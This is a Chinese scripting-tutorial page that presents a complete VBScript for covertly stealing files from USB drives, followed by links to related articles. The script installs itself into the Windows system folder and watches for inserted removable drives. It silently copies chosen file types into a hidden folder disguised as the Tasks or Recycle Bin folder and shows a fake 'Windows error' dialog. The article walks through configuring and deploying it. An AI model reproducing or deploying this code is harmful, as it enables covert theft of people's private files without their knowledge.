自动复制U盘文件的VBS脚本

所属分类: 脚本专栏 / vbs 阅读数: 1330
收藏 0 赞 0 分享
以下为演示:
一、设置
右键单击,选择编辑
oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环

二、保存后运行
会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。

此时脚本已经在循环监测U盘的插入

三、插入U盘
U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉

四、寻找文件
此时,文件已经在目标文件夹中。我将oType 设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。

这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
 ww
这时就能打开文件夹看到其中的内容。



Copy.log记录的是原文件及复制后的文件。

vbs代码

复制代码 代码如下:

oStr = "txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

更多精彩内容其他人还在看

VBS监视网络连接与断开的代码

监视网络连接与断开,特殊情况下可能有点用,两个VBS脚本均来自微软官网
收藏 0 赞 0 分享

可以修改脚本自身运行次数的vbs(Self modifying script)

通过脚本修改脚本的内容,这里以统计脚本运行次数为例,想学习vbs的朋友可以参考下
收藏 0 赞 0 分享

VBScript之通过对比注册表查找隐藏的服务

系统服务有可能被 rootkit 隐藏,但有些时候我们仍可以从注册表中找到相关的信息。建议以管理员权限运行,否则有些服务列举不出来或出现错误的提示
收藏 0 赞 0 分享

VBScript 监控并结束指定进程的代码

有时候我们需要监控一些进程,防止一些进程的开启,发现指定进程运行就关闭它,那么就可以参考下面的代码
收藏 0 赞 0 分享

VBScript 输出中的对齐实现方法

有时候我们需要在vbs中输入的字符实现对齐效果,那么就可以参考下面的代码了
收藏 0 赞 0 分享

vbs 获取当前目录的实现代码

获取当前正执行的VBS的路径,通过Scripting.FileSystemObject组件实现
收藏 0 赞 0 分享

vbs 获取当前目录文件数量的代码(不包括子文件夹中的)

有时候我们需要获取当前目录下有多少个文件,那么就可以参考下面的代码
收藏 0 赞 0 分享

VBS获取当前目录下所有文件夹名字的代码

有时候我们需要获取当前目录下所有文件夹的名字,那么就可以参考下面的代码了
收藏 0 赞 0 分享

VBS读取注册表的两种方法

有时候我们需要用vbs来操作注册表,一般情况下有两种方法,一种是通过wshshell对象的regread,另外一种是使用WMI操作注册表,下面简单的介绍下
收藏 0 赞 0 分享

查看系统C盘剩余空间的VBS脚本

查看系统C盘剩下的空间方法有很多,在本文要为大家介绍的是通过VBS脚本是如何实现的,感兴趣的朋友不要错过
收藏 0 赞 0 分享
查看更多